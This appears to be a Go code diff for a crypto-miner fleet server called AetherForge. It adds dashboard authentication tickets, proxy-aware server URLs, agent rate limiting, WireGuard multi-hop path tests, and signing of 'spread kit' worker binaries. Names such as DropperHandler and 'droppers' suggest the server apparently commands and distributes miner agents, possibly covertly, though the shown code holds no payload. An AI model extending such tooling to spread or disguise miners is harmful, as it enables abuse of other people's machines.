+		rec = httptest.NewRecorder()
+		handler.Status(rec, req2)
+
+		var status map[string]interface{}
+		_ = json.Unmarshal(rec.Body.Bytes(), &status)
+		if status["ready"] == true {
+			ready = true
+			break
+		}
+		time.Sleep(50 * time.Millisecond)
+	}
+	if !ready {
+		t.Fatal("session did not become ready in time")
+	}
+
+	handler.mu.Lock()
+	sess := handler.sessions[sessionID]
+	handler.mu.Unlock()
+	if sess == nil || !sess.Ready {
+		t.Fatalf("session not ready: %+v", sess)
+	}
+	if sess.clientPubKey == "" {
+		t.Fatal("client pubkey should be set")
+	}
+}
+
+func TestPathTracerOrchestrationConfigurePeers(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+
+	hub := NewWSHub(database)
+	handler := NewPathTracerHandler(hub)
+
+	agent1 := "hop-one"
+	agent2 := "hop-two"
+	conn1 := connectTestAgent(t, hub, agent1)
+	conn2 := connectTestAgent(t, hub, agent2)
+
+	var (
+		captured []map[string]interface{}
+		captureMu sync.Mutex
+	)
+	done := make(chan struct{})
+	var once sync.Once
+
+	respond := func(conn *websocket.Conn, pub string) {
+		for {
+			var msg Message
+			if err := conn.ReadJSON(&msg); err != nil {
+				return
+			}
+			if msg.Type != "command" {
+				continue
+			}
+			var payload map[string]interface{}
+			_ = json.Unmarshal(msg.Payload, &payload)
+			switch payload["action"] {
+			case "wg_setup":
+				setup, _ := json.Marshal(map[string]interface{}{
+					"public_key": pub, "external_ip": "198.51.100.1", "external_port": 51820,
+				})
+				_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
+					"action": "wg_setup", "success": true, "message": string(setup),
+				})})
+			case "wg_configure":
+				dataStr, _ := payload["data"].(string)
+				var cfg map[string]interface{}
+				_ = json.Unmarshal([]byte(dataStr), &cfg)
+				captureMu.Lock()
+				captured = append(captured, cfg)
+				n := len(captured)
+				captureMu.Unlock()
+				_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
+					"action": "wg_configure", "success": true,
+				})})
+				if n == 2 {
+					once.Do(func() { close(done) })
+				}
+			}
+		}
+	}
+	go respond(conn1, "PUB_HOP1")
+	go respond(conn2, "PUB_HOP2")
+
+	body := `{"agent_ids":["` + agent1 + `","` + agent2 + `"]}`
+	req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(body))
+	rec := httptest.NewRecorder()
+	handler.Start(rec, req)
+
+	var startResp map[string]interface{}
+	_ = json.Unmarshal(rec.Body.Bytes(), &startResp)
+	sessionID := startResp["session_id"].(string)
+
+	select {
+	case <-done:
+	case <-time.After(5 * time.Second):
+		t.Fatal("timed out waiting for wg_configure on both hops")
+	}
+
+	handler.mu.Lock()
+	sess := handler.sessions[sessionID]
+	handler.mu.Unlock()
+	if sess == nil {
+		t.Fatal("session missing")
+	}
+
+	// Hop1 configure payload must include client peer + forward to hop2.
+	var hop1Cfg map[string]interface{}
+	for _, cfg := range captured {
+		if la, _ := cfg["local_address"].(string); strings.HasPrefix(la, "10.66.0.2") {
+			hop1Cfg = cfg
+			break
+		}
+	}
+	if hop1Cfg == nil {
+		t.Fatalf("missing hop1 config in captured: %+v", captured)
+	}
+	peers, _ := hop1Cfg["peers"].([]interface{})
+	if len(peers) != 2 {
+		t.Fatalf("hop1 want 2 peers (client+forward), got %d", len(peers))
+	}
+	p0 := peers[0].(map[string]interface{})
+	if p0["public_key"] != sess.clientPubKey {
+		t.Fatalf("hop1 first peer should be client, got %v", p0["public_key"])
+	}
+	p1 := peers[1].(map[string]interface{})
+	if p1["public_key"] != "PUB_HOP2" {
+		t.Fatalf("hop1 forward peer = %v", p1["public_key"])
+	}
+
+	// Hop2 (exit) must have reverse peer to hop1 only.
+	var hop2Cfg map[string]interface{}
+	for _, cfg := range captured {
+		if la, _ := cfg["local_address"].(string); strings.HasPrefix(la, "10.66.0.3") {
+			hop2Cfg = cfg
+			break
+		}
+	}
+	peers2, _ := hop2Cfg["peers"].([]interface{})
+	if len(peers2) != 1 {
+		t.Fatalf("hop2 want 1 reverse peer, got %d", len(peers2))
+	}
+	if peers2[0].(map[string]interface{})["public_key"] != "PUB_HOP1" {
+		t.Fatal("hop2 should peer back to hop1")
+	}
+}
+
+func TestPathTracerBuildClientConfig(t *testing.T) {
+	hub := NewWSHub(nil)
+	h := NewPathTracerHandler(hub)
+	sess := testTraceSession(1)
+	sess.clientPrivKey = base64.StdEncoding.EncodeToString([]byte("a-32-byte-wireguard-priv-key!!"))
+	sess.clientPubKey = base64.StdEncoding.EncodeToString([]byte("a-32-byte-wireguard-pub-key!!!"))
+	cfg := h.buildClientConfig(sess)
+	if !strings.Contains(cfg, sess.clientPrivKey) {
+		t.Fatal("config should include client private key")
+	}
+	if !strings.Contains(cfg, sess.Hops[0].PublicKey) {
+		t.Fatal("config should peer to first hop")
+	}
+	if !strings.Contains(cfg, "10.66.0.1/24") {
+		t.Fatal("config should set client address")
+	}
+}
+
+func TestPathTracerStartValidation(t *testing.T) {
+	h := NewPathTracerHandler(NewWSHub(nil))
+	req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", bytes.NewReader([]byte(`{}`)))
+	rec := httptest.NewRecorder()
+	h.Start(rec, req)
+	if rec.Code != http.StatusBadRequest {
+		t.Fatalf("expected 400, got %d", rec.Code)
+	}
+}
--- a/server/internal/api/router.go
+++ b/server/internal/api/router.go
@@ -15,6 +15,7 @@ import (
 	"strings"
 	"sync"
 	"time"
+	"unicode"

 	"crypto-miner-server/internal/builder"
 	"crypto-miner-server/internal/db"
@@ -342,6 +343,18 @@ func reconcileLoginSidecar(dataDir, sidecarPath string, users map[string]string)
 }

 // generateRandomPassword returns an 8-character password (4 random bytes as hex).
+func validateDashboardUsername(username string) error {
+	if len(username) < 3 || len(username) > 32 {
+		return fmt.Errorf("username must be 3-32 characters")
+	}
+	for _, c := range username {
+		if !unicode.IsLetter(c) && !unicode.IsDigit(c) && c != '_' && c != '-' {
+			return fmt.Errorf("username contains invalid characters")
+		}
+	}
+	return nil
+}
+
 func generateRandomPassword() string {
 	b := make([]byte, 4)
 	if _, err := rand.Read(b); err != nil {
@@ -371,12 +384,22 @@ func saveUser(username, password string) error {
 		return err
 	}
 	usersMu.Unlock()
+	authSessionCacheMu.Lock()
+	authSessionCache = map[string]time.Time{}
+	authSessionCacheMu.Unlock()
 	if err := upsertLoginSidecar(dataDir, username, password); err != nil {
 		log.Printf("[Auth] WARNING: could not update login-credentials.json: %v", err)
 	}
 	return nil
 }

+// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
+// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
+// must not trigger that — only bare browser navigations without these headers should.
+func isSPAAuthRequest(r *http.Request) bool {
+	return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
+}
+
 func basicAuthMiddleware(next http.Handler) http.Handler {
 	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
 		if r.Method == http.MethodOptions {
@@ -438,7 +461,9 @@ func basicAuthMiddleware(next http.Handler) http.Handler {

 		user, pass, ok := r.BasicAuth()
 		if !ok {
-			w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
+			if !isSPAAuthRequest(r) {
+				w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
+			}
 			http.Error(w, "Unauthorized", http.StatusUnauthorized)
 			return
 		}
@@ -451,7 +476,9 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
 			usersMu.RUnlock()

 			if !exists || !checkPassword(storedHash, pass) {
-				w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
+				if !isSPAAuthRequest(r) {
+					w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
+				}
 				http.Error(w, "Unauthorized", http.StatusUnauthorized)
 				return
 			}
@@ -463,7 +490,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
 	})
 }

-func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, serverVersion ...string) http.Handler {
+func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, serverVersion ...string) http.Handler {
 	ensureUsersLoaded(dataDir)

 	version := "AetherForge"
@@ -482,7 +509,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 		// X-Fleet-Secret is required by agent-facing endpoints; include it so
 		// browser-based callers (dev tools, custom dashboards) are not blocked
 		// by CORS preflight when sending that header.
-		AllowedHeaders:   []string{"Accept", "Authorization", "Content-Type", "X-Fleet-Secret"},
+		AllowedHeaders:   []string{"Accept", "Authorization", "Content-Type", "X-Fleet-Secret", "X-AetherForge-Client"},
 		AllowCredentials: false,
 	}))

@@ -492,13 +519,25 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 		h := NewHandler(database)

 		r.Get("/health", h.HealthCheck)
+		r.Post("/auth/ws-ticket", func(w http.ResponseWriter, req *http.Request) {
+			user := AuthUsername(req)
+			if user == "" {
+				http.Error(w, "Unauthorized", http.StatusUnauthorized)
+				return
+			}
+			ticket := issueWSTicket(user)
+			writeJSON(w, map[string]interface{}{
+				"ticket":      ticket,
+				"expires_in":  int(wsTicketTTL.Seconds()),
+			})
+		})
 		r.Get("/server/ready", h.ServerReady)
 		r.Get("/server/info", func(w http.ResponseWriter, r *http.Request) {
 			override := ""
 			if publicURLOverride != nil {
 				override = publicURLOverride()
 			}
-			GetServerInfo(w, r, override)
+			GetServerInfo(w, r, override, listenPort)
 		})

 		// Dashboard
@@ -583,7 +622,13 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 				http.Error(w, "rotation failed: "+err.Error(), http.StatusInternalServerError)
 				return
 			}
-			writeJSON(w, map[string]interface{}{"ok": true, "hint": newSecret[:8] + "..."})
+			hint := newSecret
+			if n := len(hint); n > 8 {
+				hint = hint[:8] + "..."
+			} else if n > 0 {
+				hint += "..."
+			}
+			writeJSON(w, map[string]interface{}{"ok": true, "hint": hint})
 		})

 		// User Management
@@ -592,8 +637,24 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 				Username string `json:"username"`
 				Password string `json:"password"`
 			}
-			if err := json.NewDecoder(req.Body).Decode(&payload); err != nil || payload.Username == "" || payload.Password == "" {
-				http.Error(w, "Invalid username or password", http.StatusBadRequest)
+			if err := json.NewDecoder(req.Body).Decode(&payload); err != nil {
+				http.Error(w, "Invalid JSON", http.StatusBadRequest)
+				return
+			}
+			payload.Username = strings.TrimSpace(payload.Username)
+			if err := validateDashboardUsername(payload.Username); err != nil {
+				http.Error(w, err.Error(), http.StatusBadRequest)
+				return
+			}
+			if len(payload.Password) < 4 || len(payload.Password) > 128 {
+				http.Error(w, "password must be 4-128 characters", http.StatusBadRequest)
+				return
+			}
+			usersMu.RLock()
+			_, exists := authUsers[payload.Username]
+			usersMu.RUnlock()
+			if exists {
+				http.Error(w, "username already exists", http.StatusConflict)
 				return
 			}
 			if err := saveUser(payload.Username, payload.Password); err != nil {
--- a/server/internal/api/router_test.go
+++ b/server/internal/api/router_test.go
@@ -179,6 +179,52 @@ func TestBasicAuthMiddlewareWrongPassword(t *testing.T) {
 	if rec.Code != http.StatusUnauthorized {
 		t.Fatalf("expected 401, got %d", rec.Code)
 	}
+	if strings.Contains(rec.Header().Get("WWW-Authenticate"), "Basic") {
+		t.Fatal("SPA requests with Authorization must not get WWW-Authenticate")
+	}
+}
+
+func TestIsSPAAuthRequest(t *testing.T) {
+	req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
+	if isSPAAuthRequest(req) {
+		t.Fatal("bare request should not be SPA")
+	}
+	req.Header.Set("X-AetherForge-Client", "dashboard")
+	if !isSPAAuthRequest(req) {
+		t.Fatal("client header should mark SPA request")
+	}
+	req = httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
+	req.Header.Set("Authorization", "Basic dXNlcjpwYXNz")
+	if !isSPAAuthRequest(req) {
+		t.Fatal("Authorization header should mark SPA request")
+	}
+}
+
+func TestBasicAuthMiddlewareSPANoWWWAuthenticate(t *testing.T) {
+	resetAuthState(t)
+	usersMu.Lock()
+	authUsers["admin"] = "secret"
+	usersMu.Unlock()
+
+	h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		t.Fatal("handler should not run without auth")
+	}))
+
+	for _, setup := range []func(*http.Request){
+		func(r *http.Request) { r.Header.Set("X-AetherForge-Client", "dashboard") },
+		func(r *http.Request) { r.Header.Set("Authorization", "Basic dXNlcjpwYXNz") },
+	} {
+		req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
+		setup(req)
+		rec := httptest.NewRecorder()
+		h.ServeHTTP(rec, req)
+		if rec.Code != http.StatusUnauthorized {
+			t.Fatalf("expected 401, got %d", rec.Code)
+		}
+		if rec.Header().Get("WWW-Authenticate") != "" {
+			t.Fatal("SPA-marked 401 must not include WWW-Authenticate")
+		}
+	}
 }

 func TestBasicAuthMiddlewareValidCredentials(t *testing.T) {
@@ -242,6 +288,36 @@ func TestRouterPostUsersValidation(t *testing.T) {
 	}
 }

+func TestRouterPostUsersConflict(t *testing.T) {
+	router, _, _, _ := newTestRouter(t)
+	body, _ := json.Marshal(map[string]string{"username": testAuthUser, "password": "otherpass"})
+	req := httptest.NewRequest(http.MethodPost, "/api/v1/users", bytes.NewReader(body))
+	req.SetBasicAuth(testAuthUser, testAuthPass)
+	rec := httptest.NewRecorder()
+	router.ServeHTTP(rec, req)
+	if rec.Code != http.StatusConflict {
+		t.Fatalf("existing username should 409, got %d body=%s", rec.Code, rec.Body.String())
+	}
+}
+
+func TestRouterPostWSTicket(t *testing.T) {
+	router, _, _, _ := newTestRouter(t)
+	req := httptest.NewRequest(http.MethodPost, "/api/v1/auth/ws-ticket", nil)
+	req.SetBasicAuth(testAuthUser, testAuthPass)
+	rec := httptest.NewRecorder()
+	router.ServeHTTP(rec, req)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
+	}
+	var body map[string]interface{}
+	if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
+		t.Fatal(err)
+	}
+	if body["ticket"] == nil || body["ticket"] == "" {
+		t.Fatalf("expected ticket in response: %v", body)
+	}
+}
+
 func TestRouterPostUsersSuccess(t *testing.T) {
 	router, _, _, dataDir := newTestRouter(t)

@@ -352,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
 	fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
 	builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
 	blueprintHandler := NewBlueprintHandler(dataDir)
-	router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, nil, "", dataDir, nil)
+	router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, "", dataDir, nil, 8989)

 	dlURL := "/api/v1/builds/" + buildID + "/download"

@@ -429,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
 	builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
 	blueprintHandler := NewBlueprintHandler(dataDir)

-	router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, "", dataDir, nil)
+	router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, "", dataDir, nil, 8989)

 	req := httptest.NewRequest(http.MethodGet, "/", nil)
 	rec := httptest.NewRecorder()
--- a/server/internal/api/server_info.go
+++ b/server/internal/api/server_info.go
@@ -3,6 +3,7 @@ package api
 import (
 	"net"
 	"net/http"
+	"net/url"
 	"strings"
 )

@@ -15,41 +16,131 @@ type ServerInfo struct {
 	WebSocketURL string   `json:"websocket_url"`
 }

-func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string) {
-	host := r.Host
-	if idx := strings.Index(host, ":"); idx > 0 {
-		host = host[:idx]
+// GetServerInfo returns URLs workers and droppers should use to reach this deck.
+// When the dashboard is opened via HTTPS reverse proxy (e.g. Cloudflare tunnel),
+// suggested_url uses https and omits :443 — not the local listen port (8989).
+func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string, listenPort int) {
+	if listenPort <= 0 {
+		listenPort = 8989
 	}

 	localIPs := listLocalIPv4()
-	suggestedHost := host
-	if isLoopbackHost(host) && len(localIPs) > 0 {
-		suggestedHost = localIPs[0]
-	}
+	suggestedURL := resolveSuggestedURL(r, publicURLOverride, listenPort, localIPs)

-	port := 8989
-	if idx := strings.LastIndex(r.Host, ":"); idx > 0 {
-		if p := r.Host[idx+1:]; p != "" {
-			port = parsePort(p)
+	host := r.Host
+	port := listenPort
+	if h, p, err := net.SplitHostPort(r.Host); err == nil {
+		host = h
+		if parsed := parsePort(p); parsed > 0 {
+			port = parsed
 		}
 	}

-	suggestedURL := "http://" + net.JoinHostPort(suggestedHost, itoa(port))
-	if strings.TrimSpace(publicURLOverride) != "" {
-		suggestedURL = strings.TrimSpace(publicURLOverride)
-	}
 	info := ServerInfo{
 		Port:         port,
 		Host:         host,
 		LocalIPs:     localIPs,
 		SuggestedURL: suggestedURL,
 		DashboardURL: suggestedURL,
-		WebSocketURL: strings.Replace(strings.Replace(suggestedURL, "https://", "wss://", 1), "http://", "ws://", 1) + "/ws/agent",
+		WebSocketURL: httpToWS(suggestedURL) + "/ws/agent",
 	}

 	writeJSON(w, info)
 }

+func resolveSuggestedURL(r *http.Request, publicOverride string, listenPort int, localIPs []string) string {
+	if norm := normalizePublicURL(publicOverride); norm != "" {
+		return norm
+	}
+	return externalBaseFromRequest(r, listenPort, localIPs)
+}
+
+func externalBaseFromRequest(r *http.Request, listenPort int, localIPs []string) string {
+	scheme := requestScheme(r)
+	host := requestHost(r)
+	hostOnly, port := hostAndPort(host, scheme)
+
+	if isLoopbackHost(hostOnly) && len(localIPs) > 0 {
+		hostOnly = localIPs[0]
+		scheme = "http"
+		port = listenPort
+	}
+
+	return formatBaseURL(scheme, hostOnly, port)
+}
+
+func requestScheme(r *http.Request) string {
+	if r.TLS != nil {
+		return "https"
+	}
+	if p := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Proto"), ",")[0]); p != "" {
+		return strings.ToLower(p)
+	}
+	return "http"
+}
+
+func requestHost(r *http.Request) string {
+	if h := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Host"), ",")[0]); h != "" {
+		return h
+	}
+	return r.Host
+}
+
+func hostAndPort(host string, scheme string) (hostOnly string, port int) {
+	if h, p, err := net.SplitHostPort(host); err == nil {
+		return strings.Trim(h, "[]"), parsePort(p)
+	}
+	if strings.Count(host, ":") == 1 && !strings.Contains(host, "]") {
+		parts := strings.SplitN(host, ":", 2)
+		return parts[0], parsePort(parts[1])
+	}
+	hostOnly = strings.Trim(host, "[]")
+	if scheme == "https" {
+		return hostOnly, 443
+	}
+	return hostOnly, 80
+}
+
+func formatBaseURL(scheme, host string, port int) string {
+	host = strings.Trim(host, "[]")
+	if (scheme == "https" && port == 443) || (scheme == "http" && port == 80) {
+		return scheme + "://" + host
+	}
+	return scheme + "://" + net.JoinHostPort(host, itoa(port))
+}
+
+func normalizePublicURL(raw string) string {
+	raw = strings.TrimSpace(raw)
+	if raw == "" {
+		return ""
+	}
+	u, err := url.Parse(raw)
+	if err != nil || u.Scheme == "" || u.Host == "" {
+		return strings.TrimRight(raw, "/")
+	}
+	_, port := hostAndPort(u.Host, u.Scheme)
+	u.Host = formatURLHost(u.Hostname(), port, u.Scheme)
+	u.Path = ""
+	u.RawPath = ""
+	u.RawQuery = ""
+	u.Fragment = ""
+	return strings.TrimRight(u.String(), "/")
+}
+
+func formatURLHost(hostname string, port int, scheme string) string {
+	if (scheme == "https" && port == 443) || (scheme == "http" && port == 80) {
+		return hostname
+	}
+	return net.JoinHostPort(hostname, itoa(port))
+}
+
+func httpToWS(base string) string {
+	if strings.HasPrefix(base, "https://") {
+		return "wss://" + strings.TrimPrefix(base, "https://")
+	}
+	return "ws://" + strings.TrimPrefix(base, "http://")
+}
+
 func listLocalIPv4() []string {
 	var ips []string
 	ifaces, err := net.Interfaces()
--- a/server/internal/api/server_info_test.go
+++ b/server/internal/api/server_info_test.go
@@ -50,7 +50,7 @@ func TestGetServerInfoJSON(t *testing.T) {
 	req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
 	req.Host = "localhost:8989"
 	rec := httptest.NewRecorder()
-	GetServerInfo(rec, req, "")
+	GetServerInfo(rec, req, "", 8989)

 	if rec.Code != http.StatusOK {
 		t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
@@ -71,16 +71,33 @@ func TestGetServerInfoPublicURLOverride(t *testing.T) {
 	req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
 	req.Host = "localhost:8989"
 	rec := httptest.NewRecorder()
-	GetServerInfo(rec, req, "https://forge.example.com:443")
+	GetServerInfo(rec, req, "https://forge.example.com:443", 8989)

 	var info ServerInfo
 	if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
 		t.Fatal(err)
 	}
-	if info.SuggestedURL != "https://forge.example.com:443" {
+	if info.SuggestedURL != "https://forge.example.com" {
 		t.Fatalf("override not applied: %q", info.SuggestedURL)
 	}
-	if info.WebSocketURL != "wss://forge.example.com:443/ws/agent" {
+	if info.WebSocketURL != "wss://forge.example.com/ws/agent" {
 		t.Fatalf("ws url = %q", info.WebSocketURL)
 	}
 }
+
+func TestGetServerInfoHTTPSBehindProxy(t *testing.T) {
+	req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
+	req.Host = "nothing.thetempleofdoom.com"
+	req.Header.Set("X-Forwarded-Proto", "https")
+	req.Header.Set("X-Forwarded-Host", "nothing.thetempleofdoom.com")
+	rec := httptest.NewRecorder()
+	GetServerInfo(rec, req, "", 8989)
+
+	var info ServerInfo
+	if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
+		t.Fatal(err)
+	}
+	if info.SuggestedURL != "https://nothing.thetempleofdoom.com" {
+		t.Fatalf("tunnel URL = %q, want https without :8989", info.SuggestedURL)
+	}
+}
--- a/server/internal/api/websocket.go
+++ b/server/internal/api/websocket.go
@@ -27,9 +27,14 @@ func secureStringEqual(a, b string) bool {
 	return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
 }

-// checkDashboardWSToken validates the ?token= query param on dashboard WS upgrade.
-// The browser passes btoa("user:pass") — the same value stored in sessionStorage.
+// checkDashboardWSToken validates dashboard WS upgrade credentials.
+// Preferred: ?ticket= from POST /api/v1/auth/ws-ticket (short-lived, one-time).
+// Legacy: ?token= btoa("user:pass") with auth-session cache parity (API-D10).
 func checkDashboardWSToken(r *http.Request) bool {
+	if ticket := r.URL.Query().Get("ticket"); ticket != "" {
+		_, ok := consumeWSTicket(ticket)
+		return ok
+	}
 	token := r.URL.Query().Get("token")
 	if token == "" {
 		return false
@@ -43,10 +48,17 @@ func checkDashboardWSToken(r *http.Request) bool {
 		return false
 	}
 	user, pass := parts[0], parts[1]
+	if authCacheHit(user, pass) {
+		return true
+	}
 	usersMu.RLock()
 	stored, exists := authUsers[user]
 	usersMu.RUnlock()
-	return exists && checkPassword(stored, pass)
+	if !exists || !checkPassword(stored, pass) {
+		return false
+	}
+	authCacheSet(user, pass)
+	return true
 }

 var upgrader = websocket.Upgrader{
@@ -374,10 +386,8 @@ func (h *WSHub) notifyCmdCallback(agentID, action string, payload map[string]int
 	}
 	h.pendingCmdMu.Unlock()
 	if ok {
-		select {
-		case ch <- payload:
-		default:
-		}
+		// Blocking send — Path Tracer and other orchestrators must not drop results.
+		ch <- payload
 	}
 }

@@ -464,13 +474,22 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 	if clientIP == "" {
 		clientIP = r.RemoteAddr
 	}
+	if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 {
+		clientIP = clientIP[:idx]
+	}
 	log.Printf("[WS] Agent connection attempt from %s (origin=%s)", clientIP, r.Header.Get("Origin"))
+	if !allowAgentWSUpgrade(clientIP) {
+		http.Error(w, "Too Many Requests", http.StatusTooManyRequests)
+		log.Printf("[WS] Agent upgrade rate-limited from %s", clientIP)
+		return
+	}
 	conn, err := upgrader.Upgrade(w, r, nil)
 	if err != nil {
 		log.Printf("[WS] Agent upgrade failed from %s: %v", clientIP, err)
 		return
 	}
 	log.Printf("[WS] Agent WebSocket upgraded OK from %s", clientIP)
+	_ = conn.SetReadDeadline(time.Now().Add(agentWSAuthTimeout))

 	agentID := ""
 	defer func() {
@@ -1119,14 +1138,19 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 					}
 				}
 			}
+
+		default:
+			if agentID != "" {
+				log.Printf("[WS] Agent %s sent unknown message type %q", agentID, msg.Type)
+			} else {
+				log.Printf("[WS] Unauthenticated agent sent unknown message type %q from %s", msg.Type, clientIP)
+			}
 		}
 	}
 }

 func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
-	// Verify dashboard session. The SPA sends its stored Basic-auth token as
-	// ?token=<base64> because the WS upgrade can't carry Authorization headers.
-	// We decode it and check against the same in-memory user map as the REST API.
+	// Verify dashboard session via short-lived ?ticket= or legacy ?token= (btoa creds).
 	if !checkDashboardWSToken(r) {
 		http.Error(w, "Unauthorized", http.StatusUnauthorized)
 		log.Printf("[auth] Dashboard WS rejected: bad or missing token from %s", r.RemoteAddr)
--- a/server/internal/api/websocket_test.go
+++ b/server/internal/api/websocket_test.go
@@ -98,6 +98,18 @@ func TestCheckDashboardWSTokenBcryptUser(t *testing.T) {
 	}
 }

+func TestCheckDashboardWSTicketOneTime(t *testing.T) {
+	ticket := issueWSTicket("dash")
+	req := httptest.NewRequest(http.MethodGet, "/ws/dashboard?ticket="+ticket, nil)
+	if !checkDashboardWSToken(req) {
+		t.Fatal("valid ticket should pass")
+	}
+	req = httptest.NewRequest(http.MethodGet, "/ws/dashboard?ticket="+ticket, nil)
+	if checkDashboardWSToken(req) {
+		t.Fatal("ticket should be one-time use")
+	}
+}
+
 func TestHandleDashboardWSUnauthorized(t *testing.T) {
 	database, err := db.New(t.TempDir())
 	if err != nil {
--- a/server/internal/api/ws_ticket.go
+++ b/server/internal/api/ws_ticket.go
@@ -0,0 +1,54 @@
+package api
+
+import (
+	"crypto/rand"
+	"encoding/hex"
+	"sync"
+	"time"
+)
+
+const wsTicketTTL = 2 * time.Minute
+
+type wsTicketEntry struct {
+	Username  string
+	ExpiresAt time.Time
+}
+
+var (
+	wsTicketMu sync.Mutex
+	wsTickets  = map[string]wsTicketEntry{}
+)
+
+// issueWSTicket mints a one-time, short-lived dashboard WebSocket credential.
+func issueWSTicket(username string) string {
+	b := make([]byte, 24)
+	_, _ = rand.Read(b)
+	ticket := hex.EncodeToString(b)
+	wsTicketMu.Lock()
+	wsTickets[ticket] = wsTicketEntry{Username: username, ExpiresAt: time.Now().Add(wsTicketTTL)}
+	if len(wsTickets) > 512 {
+		now := time.Now()
+		for k, v := range wsTickets {
+			if now.After(v.ExpiresAt) {
+				delete(wsTickets, k)
+			}
+		}
+	}
+	wsTicketMu.Unlock()
+	return ticket
+}
+
+// consumeWSTicket validates and invalidates a ticket (one-time use).
+func consumeWSTicket(ticket string) (string, bool) {
+	wsTicketMu.Lock()
+	defer wsTicketMu.Unlock()
+	entry, ok := wsTickets[ticket]
+	if !ok || time.Now().After(entry.ExpiresAt) {
+		if ok {
+			delete(wsTickets, ticket)
+		}
+		return "", false
+	}
+	delete(wsTickets, ticket)
+	return entry.Username, true
+}
--- a/server/internal/builder/build_universal.go
+++ b/server/internal/builder/build_universal.go
@@ -63,6 +63,11 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w

 	for _, p := range platforms {
 		src := workers[p.Label()]
+		if h.shouldSignBuild(req) {
+			if err := h.signExecutable(src); err != nil {
+				return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
+			}
+		}
 		destDir := filepath.Join(outDir, p.BinDir())
 		if err := os.MkdirAll(destDir, 0755); err != nil {
 			return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
@@ -86,6 +91,9 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
 		return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
 	}
 	_ = copyFile(zipPath, filepath.Join(outDir, zipName))
+	if err := h.checkBuildSizeFile(zipPath); err != nil {
+		return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
+	}

 	primary := workers[platforms[0].Label()]
 	if w, ok := workers["windows-amd64"]; ok {
@@ -155,6 +163,11 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
